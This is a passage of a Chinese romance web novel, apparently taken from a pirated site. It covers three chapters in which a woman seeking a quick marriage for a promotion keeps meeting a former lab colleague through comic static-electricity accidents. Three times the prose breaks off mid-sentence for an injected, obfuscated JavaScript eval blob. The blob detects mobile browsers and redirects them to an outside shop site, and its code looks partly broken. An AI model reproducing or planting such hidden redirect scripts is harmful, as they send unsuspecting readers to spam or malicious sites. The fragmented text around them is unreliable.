《契约老公原来是直的》 1. 文学城独家 陆家嘴这家酒店的下午茶,被人吹得神乎其神—— “安静到能听见钱的声音。” 沈然坐下二十分钟,确实听见了三种钱的声音: 第一次是菜单上178元的手冲咖啡和15%的服务费, 第二次是对方嘴里提到的彩礼, 第三次是她被浪费掉的时间价值在心里咯吱作响。 对面坐着的是二十六号相亲对象,Z。 男人面容清秀梳着一丝不苟的大背头,衬衫扣到最上面一颗,像随时要去面试财务总监。 可他嘴里说出来的话,像是从上世纪婚恋手册里抄的:“沈小姐,我觉得吧,女孩子嘛,职业心不要太重,家才是最重要的归宿。你看我妈就——” 沈然抬眼,声音平静得像周报上的一行小字:“那你先回归吧。” 男人愣了下:“我?” “你不是说你一年到头都很累吗?”沈然语气真诚,“我支持你回归家庭。” 男人被噎了一下:“我不是这个意思……” “哦。”沈然点点头,“那你什么意思?” 男人张了张嘴,又合上。 隔壁沙发上,夏栀抱着一杯奶茶,已经把吸管咬成了“S”型,肩膀抖得像手机开了震动。 “我在上海有房子,经济上没什么压力。”男人硬撑着岔开话题:“沈小姐有没有考虑过做全职太太?” “我不喜欢浪费社会资源。”沈然回答得很快。 男人懵了一下,随后沉默了两秒,像被人当头一闷棍,脸色彻底垮下。 这句话下去,他整个人都像被强制关机。 两分钟后,他用“公司临时有急事”做借口匆匆离开,走得飞快,像怕她再追问一句“那你到底什么意思”。 男人前脚刚走,夏栀就端着奶茶蹭过来了,眼睛发光:“沈哥!你能不能收敛点!你这不是相亲,你这是把人打回厂里返工!” 沈然慢条斯理地放下咖啡杯:“他太脆弱了。” “不是,你刚刚那句‘浪费社会资源’……”夏栀捂着心口,“你到底知不知道自己说话杀伤力有多大?你还不是仗着脸蛋儿好看,对方手里那杯咖啡绝逼就泼上去了!” “我只是如实回答。”沈然很客观,“我有手有脚,有脑子,确实不该闲着。” “……我求你,别把工作思维带进婚恋市场行不行?”夏栀长叹,“你刚刚那个笑容一出来,我整个人都不好了。” “我笑了吗?”沈然反问。 “当然笑了。”夏栀咬着吸管,做了个诡异的表情,“嘴角往上提三毫米,那是你跟甲方对线时的‘礼貌微笑’。乙方见了得抖三下。” 沈然想了想,很诚恳地说:“我已经放水了。” “那你这水也太浑了!”夏栀快疯了,“你今天是二十六号,再这么搞下去,二十七号就是——你、你那未婚多年的远房表哥。” 沈然很冷静地否决:“远房表哥不行,有遗传风险。” “我当然知道不行!”夏栀差点把奶茶拍桌上,“那你倒是从前面那二十六个里挑一个啊!” “没达到我的标准。”沈然说得很干脆。 “你的标准是什么?新物种?”夏栀咬牙。 沈然慢悠悠地数:“自理能力强,边界清晰,不黏人,不弱智,长得好看,不过分吧?” 夏栀:“……” 她深吸一口气:“你最后一句才是重点。” 沈然当然不会反驳。 她就是颜狗,而且是那种: 第一眼被帅到脑内蓝屏, 第二天恢复理智开始估算五官折旧率, 第三天能写出《帅哥资产流动性报告》的专业级颜控投资者。 夏栀倒回沙发,扶着额:“你最近到底都遇到了什么妖魔鬼怪,相个亲相得我都想报社科院课题了。” “你听听?”沈然淡淡道。 “那你说说,让我笑一笑。”夏栀摆出一副“我已经躺平了”的表情。 沈然就开始非常高效地做了个“相亲复盘”。 倒数第四个,是R号。 “你兴趣爱好是什么?”男人问。 “盈利。”她答。 男人表情一顿:“……?” “我喜欢能看见正向结果的事情。”沈然补了一句。 对方沉默了足足十秒,像在认真反思自己的人生有没有结果。 倒数第三个,是T号,优雅地用小银勺搅咖啡:“我觉得吧,我还是比较喜欢温柔一点的女孩子。” 沈然想了两秒:“你可以试试找心理咨询师。” 男人愣住:“为、为什么?” “因为你对‘温柔’的想象,已经超出了普通人的业务范围。”她很负责地说,“需要专业人士的帮助,有需要的话我可以推荐一位给你。” Z号后来走得比刚才这位还快。 “……”夏栀听完,整个人缩在沙发角落,像在听都市怪谈合集,“沈然,你这是去相亲,还是去清理婚恋市场数据库异常?” “快速筛选。”沈然说,“效率优先。” “你这个过滤器,比我家净水器厉害。”夏栀扶额,“你到底有多急着结婚?” “也不急。” “……不急你一个月二十六个?”夏栀叹了口气,扶着额头说:“你知道这些人是姐们儿我费了多大劲儿给你找的不?” “大恩不言谢。”沈然顿了一下:“三个月内解决婚姻问题,就行。” 沈然说“三个月内解决婚姻问题”,语气淡得跟在讲天气。 夏栀当场被奶茶呛到,拍着胸口:“你这是搞对象,还是搞综艺限时挑战?三个月,你玩极速版的?” 沈然淡淡道:“是我晋升要用。” 夏栀眼睛瞪到快掉出来:“你们那个没破公司真有病。现在升职还要看有没有对象?职场是吃了什么□□?” 沈然不急不慢:“隐性规定如此。” 夏栀捂着头:“天呐,你们行业是不是互相按头逼婚?太吓人了,我宁愿在横店晒到脱皮,也不想卷这个。” “我也觉得很荒谬。”沈然语气依旧淡淡的,“但我不想在这件事上输给别人。” “怪不得那么着急。”夏栀之前一直在组里,没细问,“所以你现在——” “找一个合适的人结婚。”沈然把话说得很干脆,“顺便解决晋升问题。” 夏栀整个人捂住脸:“你这三观发言要是发微博,评论区能从一楼骂到顶楼。” “骂我不影响我晋升。”沈然语气不紧不慢,“但不婚会。” 夏栀沉默了三秒,盯着沈然那张平静脸,憋出一句:“沈然,你这么活吧……早晚把自己累出人形bug。” 沈然挑眉:“我挺正常。” “正常你个鬼。”夏栀一拍她胳膊,“人家相亲是找对象,你相亲是做项目管理。你刚刚那张脸,跟准备搞并购一样。” 沈然没理她,合上菜单:“走吧,我请你吃饭。” 夏栀愣了:“啊?” “安慰一下你。”沈然语气平淡,“毕竟今天有一半的精神损耗是你替我承受的。” 夏栀沉默两秒,立刻站起来:“那……我还能多承受一点。” 沈然忍不住笑了笑:“走。” 她起身时顺手理了理自己的裙摆。 今天这条裙子,是她刚从衣柜最深处翻出来的。 贴身剪裁,线条干净,面料轻薄却有骨架,上半部分结构利落,下半部分是带点静电的纱质——轻盈得一走路就会带起一阵风。 她对这条裙子的官方定义是: 战袍,斩男裙。 “你非得穿这条?”出门前,夏栀就吐槽过,“你这下摆也太轻盈了,静电又大,一会儿要是出丑可别怪我没提醒你。” “专业人士从不怪工具。”沈然淡淡道,“这条裙子战绩不错。” 战绩包括但不限于:某次项目路演,一屋子男人盯着她讲方案,从头到尾没人敢打断她一句话。 “你这叫职场武器,不叫斩男裙。”夏栀评价。 沈然不争辩:“叫战袍吧。今天是关键战役。” 那会儿她还心平气和地觉得,这就是一场非常普通的商业决策: 为了合伙人席位,提前打勾“已婚”。 当初在LSE读书的时候,她写过一篇关于“婚姻与资本结构”的论文,教授还在课堂上当案例讲过。 那时候的她觉得这话题离自己还有一百年,现在会议纪要一封封压下来,她反而成了亲自往自己身上做实验的人。 “说起来,”夏栀跟在她身边,一边走一边八卦,“你当年不是还在那个什么脑神经实验室帮人写过算法吗?按理说你认识的高质量理工男也不少,怎么就不从熟人里挑一个?” “你说剑桥那边?”沈然想了想,“不熟。大部分都是远程合作,而且匿名。” 沈然终止了漫无目的的话题,现在她只想解决眼前这个晋升问题。 酒店大厅的冷气一阵阵从天花板落下来,把她的战袍裙吹得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889015|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻飘飘的,像一条随时准备反水的丝带。 她边走边在心里算着接下来的时间表, 今晚回去要改一版投融资方案,明天早上有个电话会,后天要飞回新加坡见投资方……至于结婚对象,她打算这周先把剩下几位看完,再做一个简单的表格,对比一下风险和回报。 下一秒,大厅里突然传来一声巨响。 “哐”的一声。 几个不知道从哪儿冒出来的小孩追着球冲过来,其中一个刹不住车,直直撞上了沈然的后背。 撞得不轻。 她整个人往前一栽,高跟鞋一歪,战袍的下摆像被风掀起,飘得惊心动魄。 她的脏话刚到舌尖,还没来得及落地,腰侧忽然被一只手稳稳托住。 他动作利落又克制,把她从几乎要贴地的角度拉了回来。力道恰到好处,像是习惯处理精密实验操作的手。 沈然完全没注意到自己的大号工作包被惯性甩出去半个弧度。包侧边那串金属挂饰像一片迷你螺旋桨,在灯光下闪了一下,接着“叮”地一声—— 精准地挂上了男人西装内衬的暗扣。 那声“咔嗒”,像锁上了什么命运不太妙的机关。 两个人同时低头。 挂饰吊在男人胸前,像在公开宣告:绑定生效,请确认关系。 沈然耳朵轻轻热了一下,但脸依旧是一贯的工作状态。 她低着头伸手,想把挂件解开。 手刚碰到金属,“啪”地一声,静电炸开,像一颗小型鞭炮。 她整个人抖了一下,挂件跟着一扯。 “啪”。 男人衬衫最上方那颗扣子掉了,在大理石上发出一个羞耻度满分的“叮”。 沈然沉默。 男人也沉默。 挂饰还顽固地钩着对方的西装内衬,像认准了目标。 沈然深呼吸,第二次尝试。 更用力一点。 滋啦一声。 第二颗扣子牺牲了。 紧接着,她自己的裙子因为拉扯,在腰侧灭绝式地“嘶”了一道。 夏栀:……你这条裙子是易碎品吧? 旁边一个年轻男人本来努力保持绅士姿态,但看到这一幕还是没忍住,肩膀一抖,笑直接窜了出来。 “抱歉……但是你们这也……太有画面感了……” 沈然慢慢抬头,看向他,面无表情。 年轻男人的笑声像被冷气瞬间抽走,硬生生卡在喉咙里。 沈然清了清嗓子:“不好意思,静电比较严重。” 男人低下头,看着自己被拆了两颗扣子的衬衫,呼吸不动声色,却微微沉了半分。他的嗓音低沉平稳:“没关系。” 他说这句话的时候,她终于看清了他的脸。 干净冷白的肤色,眉目锋利却不显攻击性。睫毛很长,是那种干净清透的长,不是浓密的戏剧感。眼神沉静得像一杯刚落下温度的黑咖啡。 鼻梁笔直,线条利落得像是天生冷感。薄而形状漂亮的唇瓣在灯光下带着一点克制的冷意,不笑的时候显得严肃,像不轻易给人情绪。 整个脸是一种让人很难忽略的高级帅。 沈然心里闪过一瞬间非常不科学的念头: 这张脸……像在哪里见过。 就在她愣神的那一刻,男人开口了。 他叫了她的名字。 “沈然。” 声音低得像从记忆深处掀起一层薄雾。 沈然的心跳猛地顿了一下。 下一秒,那道被扯开的裙缝又往下松了一厘米。 她终于反应过来:她这战袍,已经濒临死去。 男人也显然注意到了。 他没有说一句多余的话,只是解开自己的西装外套,顺手轻轻覆在她身上,动作自然得像完成某个细致的实验步骤。 非常不合时宜地,她身上的静电再次击中了男人的手。 一道蓝紫色的电弧。 温度从肩头一路落下来。 沈然愣住了一秒。 她艰难地维持镇定,心里却只有一个想法: 现在这个局面比刚才的小孩撞上她更致命。 因为她终于想起—— 她确实在哪里见过他。 六年前,脑神经实验室。 全奖博士生,研究情绪解读模型的那位大佬。 陆澈。 而她此刻,一身战袍,半毁现场,被他亲手披外套。 真是……绝对不能更惨了。 2. 文学城独家 酒店二楼的休息区灯光是冷白色的,像被海水过滤过。 沈然被安置在一张矮沙发上,肩上披着陆澈的外套,她的战袍一角和包包则被夏栀抱在怀里,像抱着一条奄奄一息的锦鲤。 夏栀一脸生无可恋:“沈哥,我今天第一次感觉,爱情片真正的反派不是前任,是静电。” 沈然淡声:“闭嘴。” 她的语气一贯平稳,耳尖却悄悄染了点薄红。 十分钟前她还在盘算晋升路径,现在只剩下一条纱裙和一地社死碎片。 陆澈站在茶几另一端。白衬衫少了两颗扣子,露出锁骨,人却依旧冷静沉稳,仿佛整个休息区的空气都让给他三分静。 清冷又有点危险。 夏栀凑近,悄咪咪问:“沈哥,这人……你认识吗?” 沈然移开视线:“不熟。” 陆澈抬眼看她,声音低沉:“六年前这都不算熟,那你对熟的要求挺高。” 沈然安静了一秒。 她认真在脑海里检查自己的社交数据库,怀疑是不是丢过备份。 熟不熟的界限太过于主观,没有争论的意义,她现在基本达到了社会性死亡的程度,不打算回应。 夏栀轻轻吸气,小声嘀咕了句:“六年……还能一眼认出来你,这肯定有故事啊。” 沈然投去一个“安静点”的眼神,她立刻变成一株不再移动的植物。 这时,陆澈将一杯温水放在沈然面前,动作稳得像在递一个贵重器皿。 “你刚才撞得不轻,站起来的时候晃了一下。” 沈然轻声道:“我没事。” 陆澈的视线落在她被拉扯得乱七八糟的裙摆上,语气平平,“你这没事的标准,没怎么变。” 沈然喉咙轻轻紧了一下。 夏栀在旁边戳她:“沈哥,他还挺关心你的,你态度好点。” 说着,远处两个打扮时尚的男子走过来,打量着沈然凌乱的裙子,“小姐,被欺负了?” “没你们事儿。”夏栀嘴快。 那两个男人并没有立刻离开。 其中一个看似随意地又靠近了点,视线在沈然凌乱的裙摆和外套之间停留了一瞬,笑意不减:“小姐,是不是不太方便?要不要帮你叫个车,正好认识一下。” 话没说完,一道人影已经横在了两人之间。 陆澈只是往前站了一步。 动作不快,也不刻意,却恰好挡住了对方继续靠近的路线。他站得很直,视线平视,没有任何挑衅意味,甚至显得过分冷静。 “她有人陪。”他说。 那人愣了一下,下意识往沈然身后看了一眼,像是在确认“陪”指的是谁。 陆澈没有给他这个时间。他抬眼,目光落在对方脸上,不动声色,却让人莫名感到被校准了一下位置。 他身形修长,肩站位刚好挡住视线的落点。抬眼看人时,神情冷静,眉眼清晰,像是已经把局面判断完毕。 “这会儿凑近,不太聪明。”他平静说了句。 陆澈原本就比对方高半头,站在那儿,没有任何多余动作,却让人清楚地意识到,再往前一步,会显得很不体面。 对方脸上的笑意明显收敛了些,嘟囔了一句“行吧”,终于转身离开。 空气恢复了原本的安静。 沈然这才意识到,自己刚才连一句拒绝都没来得及出口。 她侧过头:“刚才……” “休息区人多。”陆澈接得很自然。 沈然对陆澈道:“刚才的事,多谢。” 陆澈轻轻应了一声,目光却没有立刻移开。他看着她外套下那一角被扯乱的衣摆,像是在判断要不要出手。 抬手的动作很短,指尖在空中停了一下。 最终,停在了一个刚好不该再靠近的距离。 他收回手,语气恢复到先前的冷静:“你自己来吧。” 那一瞬,休息区的空气静得有些过分。 夏栀实在忍不住:“你们俩是不是已经绑定成功了?要扫码登记吗?” 沈然:“吱吱。” 夏栀暗暗叹了口气,立刻端坐:“我闭嘴。” 陆澈再次看向沈然:“你现在这样,不方便。” 沈然淡声:“我知道。” “酒店有备用外套,我让人拿一件大号的。” 沈然微愣:“不用了。” 陆澈看她一眼:“你现在的情况,不会想被更多人看到。” 沈然沉默半秒。 夏栀在旁边轻声附和:“他说得也没错。” 不久,备用外套送过来了,陆澈递给她。 沈然轻声道:“谢谢。” 陆澈突然问:“你来这儿相亲?” 沈然顿了顿:“商务需求。” 陆澈似乎早有答案:“晋升。” 沈然抬眼:“你怎么知道。” 陆澈语气冷静,像在复述某条早已写进她的人设:“你以前说过,你从不做无意义的事。” 沈然的心跳轻轻乱了半拍。 夏栀默默扶着沙发边:“我真的听不懂你们这段黑话。” 陆澈目光平淡,手指有意无意地敲着扶手。看不出什么情绪,忽然说:“如果只是为了晋升,你不应该随便找人。” 沈然看着他:“那要找谁。” 陆澈沉静的目光停在她身上,像被什么未命名的变量绷住了一瞬。 下一秒,他移开视线,无波无澜地甩了句,“你先继续筛选吧。” 空气安静到能听见冷气的声音。 “不过下次换一件。”他顿了一下,像是临时找的理由,“这件杀伤范围有点大。” 沈然深吸一口气。 缩再一角的夏栀差点笑到抽搐。 她很少能见到能在气场和言语上压住沈然的人。 陆澈看着她,眼底像有一条线松了很轻的一点:“沈然,你遇到的麻烦,可能才刚开始。” 沈然抬眼:“什么意思。” 陆澈看着她,嘴角一松:“你撞到的是我,不是别人。” 就在这时,工作人员前来提醒沈然可以从侧边电梯离开,休息区的尴尬氛围被轻轻打断。 沈然没兴趣追问那句莫名其妙的话,只想立刻离开这个绝地社死现场。 她站起身的一瞬间,她的战袍又放了一个响亮的静电,精准命中陆澈的指尖。 陆澈看着她,眼神暗了几分,声音更低:“你今天这个状态,再走两步,酒店都得给你买保险。” 沈然直接选择忽略,送上一个职业假笑,强装镇定:“我先下去了。” 两人一前一后走向电梯。 电梯门“叮”的一声打开。 沈然刚迈出去半步,裙摆却像有自己的意识,往旁边一勾,稳稳挂住了陆澈的裤链。 那一瞬间,时间像被狠狠摁住。 沈然低头。 陆澈也低头。 空气安静得连冷气都憋住了声。 沈然非常镇定地说:“……这不是我的问题。” 陆澈:“嗯,习惯了。” 嘴还是这么毒。 沈然心里吐槽了句。 他们谁都没动,像两尊被卡住的神像。 夏栀躲在后面,已经快被这场面憋到缺氧,只能扶住电梯壁,努力让自己不要笑出怪声。 沈然深吸一口气,伸手去解。 第一次,她的指尖刚碰到布料—— 啪。 电光一闪,陆澈的手背轻微一抖。 第二次,小范围的静电爆鸣又闪了一下。 啪。 这回连沈然也跟着微微抖了下。 第三次,两人几乎同时被电到,轻轻“嗯”了一声。 声音小得像在憋着对现实的控诉。 电梯里的两位陌生住客齐刷刷抬头看天花板,假装自己是酒店装修的一部分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889016|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中一个还下意识吸了口气:“这是不是在搞什么高压实验?” 沈然咬牙,语速冷静到仿佛在开董事会:“我在处理我的裙子。请稍安勿躁。” 陆澈站得笔直,像一棵受惊却保持尊严的冷杉:“我知道。” 沈然试探性再往上一提。 啪—— 这一声比之前都大,像在宣布这场事故正式进入灾难片阶段。 夏栀整个人弯成九十度,肩膀疯狂颤抖,眼泪都要笑出来了,只剩一点点理智在阻止她发声。 沈然最终决定不再温柔。 手指精准扣住卡住的布料,稳准狠。 轻轻一提,直接放弃了一部分布料。 “好了。” 写满光辉历史的战袍被成功解救。 裤链和男人的尊严也重获自由。 两人默默后退半步,像同时从灾难现场撤离。 电梯里的两个路人松了一口气,其中一个忍不住低声感叹:“太强了……这种操作我一辈子都不敢想象。” 沈然面不改色:“希望你也永远都不会遇到。” 电梯到一楼,沈然几乎以逃命速度冲出去,仿佛下一秒就要登上火箭,准备发射去外太空。 裙摆在大厅的冷风下胡乱飘着,好在有长外套压着,不至于失控。 陆澈叫住她:“沈然。” 她停下。 男人跟上前,将外套在她肩上按了按,动作稳得像在替她锁住什么即将溢出的危险。 他的语气清冷又笃定:“衣服先别急着还我。你现在移动频繁,很可能……继续电别人。我不确定你能安全离开这栋酒店。” “……” 沈然无声地闭了闭眼,六年前死去的回忆精准的攻击到她。 陆澈的确还是有些针对她的。 走到旋转门旁时,夏栀终于小声发问,语气谨慎得像怕下一秒又被电到重启:“沈然……那个男的,到底是什么人?” 沈然抱紧外套,语气平淡得像在读履历:“之前在剑桥实验室合作过,是个学术大牛。” 夏栀轻轻“哦”了一声,像瞬间抓住重点:“怪不得你记得他。” 沈然道:“脑神经科学界的头牌。不是我记性好。” “头牌啊,那他外貌的确配得上这称号。”夏栀继续试探:“那你们关系算……熟吗?” “项目合作。”沈然说,“那段时间我每天睡三小时,而且我那时候在忙你什么,你又不是不知道。” “也是,”夏栀想象了一下,点头:“听上去确实不适合暧昧。” 沈然“嗯”了一声。 夏栀却斜眼看她:“可他今天看你的眼神,不太像普通前同事。” 沈然指尖顿了顿,轻轻捏紧外套。 她努力保持冷静:“那是你的误读。换成任何一个正常人,经历了今天的……衬衫事故、裤链事故,眼神都会变得不太友好。” 光是回想都让她头皮发紧。 裤链事件那一刻,她觉得自己不是地球人,是静电界的耻辱。 夏栀轻轻“嗯”了一声,语气温柔:“也许吧。” 但她的眼神写着:绝对不是。 沈然懒得再解释。 她抱着陆澈的外套往外走,每一步都沉甸甸的,像在拖着一个被迫开启的新剧情。 越往前走,她越意识到一个现实问题, 衬衫要赔,外套要还。 这种莫名其妙的偶遇离谱到近乎玄学。 明明是小概率事件,却像被系统刷新到她面前一样,全都连击地落到她头上。 静电、裤链、扣子、外套。 无一幸免。 沈然抿了抿唇,只得得出一个冷静的结论: 今天的她,不是来相亲的。 是来触发全套触电成就的。 而最糟糕的是, 这些成就,都绑定在同一个人身上。 陆澈。 3. 文学城独家 在昨天当着熟人面社死之后,沈然第二天照样把自己塞进进度表里。 白天开了三个会,改了两版方案,手底下的小朋友被她扫了一圈,五点多办公室终于安静下来。 她盯着桌上的干洗袋和包装好的新衬衫看了半分钟。 那件外套被叠得规规矩矩,连衣领都被她压了一遍,像准备送回博物馆展览。 她拿起手机,打开微信,停在那个躺列多年的名字上。 【陆澈】 光是这两个字,就自带一种冷白滤镜。 沈然打了一行。 【昨天谢谢你。】 看了一眼,觉得太简陋,删掉。 又打。 【关于昨天那件事,再次感谢你的帮助。】 这句看起来像事故报告,她又删了。 第三次。 【我想请你吃个便饭,把外套还你。】 她盯了两秒,补上一句。 【我请客。】 想了想,正准备再加一句“时间不会太久”,手指停住。 算了。再加就真成面试通知了。 消息发出去几分钟没动静。 她重新打开电脑,打算先改完最后一页PPT,微信忽然震了一下。 【陆澈:行,你选。别选太吵的。】 就这七个字,懒得客套,也懒得装作不熟。 沈然盯着屏幕两秒,莫名有点被噎到的感觉。 她把手机扣在桌上,起身收拾东西。 餐厅在陆家嘴对岸的一家融合菜,是她经常商务宴饮的地方。不是很浪漫,但窗大,安静,适合说话,也适合迅速撤离。 沈然习惯性地提前十五分钟到。 服务生确认名字,领她到订好的包间:“沈小姐,有需要调整灯光吗?” “现在这样就行。”她说。 “我们这边有约会模式和商务模式。” 沈然顿了顿:“商务。” 服务生笑笑:“好的,那帮您把蜡烛撤掉。” 沈然:“……” 她坐下,打开水,给自己倒了一杯,顺便把那袋外套放在旁边。 七点整,门口那边带起一阵细微的气流。 她抬头。 陆澈穿了件白衬衫,扣子照旧只解开一颗,袖口挽到小臂,整个人看起来像刚从某个不想参加的饭局里逃出来。 他走进来,周围的声音像是自动降了一档,剩下餐具轻响。 “来得挺早。”他拉开椅子坐下,语气像顺手点评天气。 “习惯。”沈然开门见山,“谢谢你昨天的外套。” 她把袋子推过去,“已经干洗好了,检查一下有没有问题。” 陆澈扫了一眼,伸手把袋子拎到旁边椅子上,动作随意得像在放一份文件。 “不会有问题。”他说,“你不用这么正式,我们又不是陌生人。” “我比较不喜欢欠人情。”沈然说,“尤其是这种社死级别的。” 他抬眼看她,眼里有点懒散的笑意。 “社死你也能说得像KPI。” 沈然:“……” 她觉得自己应该反驳,但反驳会显得更像。 服务生送上菜单。 “你点吧。”她说,“我没什么忌口。” 陆澈接过去,简单点了几道,又问:“酒呢?” “我晚上还要看材料。”沈然摇头,“就水吧。” “那就都不喝。”他说,把酒单递还给服务生,语气没什么起伏,却像一句默认的站队。 菜上得很快。 刚吃两口,陆澈就开口:“我记得你一直在新加坡,怎么突然回来了?” 沈然抬眼,对他知道这些有点意外。两人微信躺列多年,聊天框干干净净。 大概率是看过她朋友圈。 “回来相亲,两个月内需要结婚。”沈然不避讳,毕竟算半熟,“公司那边给了明确提示,我要升合伙人,家庭稳定性是一个指标。” 她说得像在报项目进度。 陆澈拿叉子的手停了停。 “谁给你的提示。” “内部推荐会上,HR当着一屋子人夸我能力强,又顺带提了一句可惜还没成家。”沈然喝水,“我当时就知道,这事迟早要摆上桌面。” 陆澈沉默了一会儿,像是在压某句不太体面的评价。 “你不觉得离谱?”他问。 “当然觉得。”沈然说,“但我骂完也还得工作。资本公司希望风险最小化,员工也一样。” 她把刀叉放下,换了个舒服的姿势,“所以我在做的是,在不公平的系统里,尽可能让损耗最小。” “两个月内结婚。”陆澈看着她,语气仍旧松,“你这是在抢档期。” “看样本质量。”沈然平静,“昨天那三个不行。” “为什么?” 沈然很简洁:“第一个太自恋,觉得全世界都该理解他想法。第二个太敏感,对我工作强度有意见。第三个当着我的面说,你这种女的就应该早点收收锋芒。” 陆澈:“……” 沈然补充:“我已经很克制没把水泼他脸上。” 他终于笑了一下,不是很明显,但确实在笑。 “你现在真的成熟了。” “以前我又不是剑桥的,也不用考虑晋升。”沈然也笑,“但现在要。” 她顿了顿,又补一句:“而且泼水有监控,不划算。” 桌上安静一秒,只剩刀叉轻轻碰盘子的声音。 沈然忽然意识到自己输出得有点多,全是职场垃圾信息,像个刚从会议室逃出来的精神难民。 不太礼貌。 她把杯子往旁边放了点,换了个相对温和的话题:“你呢?最近怎么样?” “还那样。”陆澈说,“课,项目,学生。” 语气淡,内容也淡,偏偏听起来就很稳,像你怎么推他都不会歪。 沈然拿叉子的手顿了一下:“还在做情绪相关?” “嗯。” 她低声笑:“挺讽刺。我现在的工作,是帮企业把人当数字看。你在研究人类情绪。” 说完,她自己也笑了一下,像被风吹散的那种。 有半秒钟,沈然的脑子里闪过一些旧画面。 小会议室,深夜的调参声,咖啡的温度刚好,他偶尔递过来,像随手,像不经意。 她年轻气盛,写代码快得像逃命。 快乐得荒谬,也短暂得荒谬。 她几乎是本能地把那串记忆掐断,像怕自己顺着那条路走回去。 那些东西不属于现在。 她抬眼,重新把语气扣回公事公办:“你那边的学生大多能跟上吗?” 陆澈看她一眼,像是看穿了她那一下小停顿,却没戳破,只顺着接:“还行。比代码好教。” 沈然没忍住笑了一点点:“你现在是在拉踩自己以前的专业?” “没有。”陆澈说,“只是你写代码的速度,一般学生学不来。” 沈然筷子顿了一下。 她看着他,突然觉得这顿饭有点危险。 不是实质上的危险,是那种明明只是普通对话,却像有人轻轻推了你一下情绪的危险。 她抬起水杯遮住那点不该有的心动余波。 “别夸了。”她说,“夸我容易让我误会你想让我帮你带学生。” 陆澈似笑非笑:“你愿意也行。你这种人带学生,学生会进步得很快,或者崩溃得很快。” 沈然:“……” 他这句话听着像夸,又像故意找她不舒服。 她选择战术性喝水结束话题。 吃到一半,陆澈忽然放下筷子。 “沈然,我也有结婚需求。” “啊。” 沈然脑子短路了一瞬,但职业反应依旧在线:“那你说说看。” 她抬手把耳边的发丝掖回去,动作干净利落。 只是这个提议太突然,她难免有点多想,心不在焉。 毕竟对方年纪不小了,又是这条件,没结婚实属意外,又或者有什么别的问题。 就在她刚把手放下时,杯沿被袖口带到。 叮的一声脆响。 水杯倒了。 白开水顺着桌沿往她方向流,溅到她的大腿,凉得她倒吸一口气。 陆澈动作比她快,伸手扶住杯子:“小心。” 沈然站起来擦了一下湿掉的裙布:“我没事。” 她刚想坐下,发现水也溅到陆澈那边。 他腿上那片深色布料明显变深了一块。 沈然思考两秒。 这是她制造的事故。 逻辑上她要负责善后。 她不能让别人带着湿裤子吃晚餐。 于是她自然得像维修人员一样弯下腰,从抽纸盒里抽了一叠纸巾,准备替他擦干一下。 陆澈:“不用。” 他说得很快,但沈然更快。 她已经蹲在他椅子旁,一只手扶着桌沿,另一只手探过去。 她的手指刚碰到他膝盖,动作冷静又专业,像在擦一块昂贵设备。 她甚至还认真评价一句:“你这裤子面料吸水还挺快的。” 话出口那一瞬间,她就觉得哪里不太对。 但此刻收手,好像更怪。 陆澈低头看她,明显怔了半秒。 不是慌,是那种被她的理性硬生生撞了一下的停顿。然后他轻轻吸了口气,像在忍笑,又像在忍别的。 就在这个极微妙的瞬间,包间门咔哒一下被推开。 “陆澈,我把资料放——” 话音卡住。 昨天跟陆澈出现在酒店的年轻男子站在门口,手里还拿着文件,视线落在桌下。 沈然蹲着,手压在陆澈大腿上。 陆澈坐着,半低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889017|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看她。 灯光柔和,画面却不柔和。 空气在三人之间停了一整秒。 慕哲远:“……” 沈然:“……” 陆澈:“……” 慕哲远第一个回神,轻轻清了清嗓子,表情古怪又礼貌:“啊,不打扰你们。” 他说完退得飞快,门自动关上。 沈然整个人僵住。 草。 草。 草? 人怎么可以连续犯这么大的错。 她缓缓直起身,脸上一如既往平静,心里却疯狂尖叫。 你给我回来,事情不是这样的! 但她外表依旧职业:“我不是故意的。” 陆澈“嗯”了一声,眼神很稳,偏偏嘴角像压不住一点点。 “你是习惯性负责。” 沈然:“……” 这句话听着像评价,又像在给她添堵。 这时陆澈放在桌子上的手机亮了,弹出几条信息。 【刚才什么情况】 【解释一下】 【你不是说你】 陆澈手指一滑,屏幕扣回桌面,动作快得像把某个麻烦按下去。 沈然的思维飞快跑偏了一秒,又立刻拽回来。 她清了清嗓子:“我刚才是觉得你因为我湿了,没别的意思。” 陆澈看她一眼:“我知道。” 沈然盯着他:“那你刚才为什么不拦我。” “拦了。”他说,“你没听见。” 他顿了一下,语气还是淡,却多了点不易察觉的无奈。 “你蹲得太快。” 沈然沉默三秒,想死一死。 服务生刚好进来添水,看到桌下残余的水渍,看到沈然绷着的表情,再看到陆澈腿上那片湿痕。 